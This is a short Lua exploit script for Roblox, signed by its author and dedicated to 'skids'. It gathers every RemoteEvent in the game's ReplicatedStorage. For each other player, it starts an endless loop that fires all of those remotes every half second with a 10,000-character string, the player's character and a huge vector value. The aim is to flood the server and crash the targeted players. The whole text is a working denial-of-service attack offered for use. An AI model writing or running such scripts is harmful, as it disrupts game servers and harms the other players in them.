-- MADE BY V0C0N1337 ENJOY SKIDS local Players = game:GetService("Players") local RS = game:GetService("ReplicatedStorage") local me = Players.LocalPlayer local remoteList = {} for _, r in pairs(RS:GetDescendants()) do if r:IsA("RemoteEvent") then table.insert(remoteList, r) end end local function targetCrash(targetPlayer) spawn(function() while wait(0.5) do for _, r in pairs(remoteList) do pcall(function() r:FireServer( string.rep("a", 10000), {targetPlayer.Character or workspace:FindFirstChild(targetPlayer.Name)}, Vector3.new(1e9, 1e9, 1e9) ) end) end end end) end for _, plr in pairs(Players:GetPlayers()) do if plr ~= me then targetCrash(plr) end end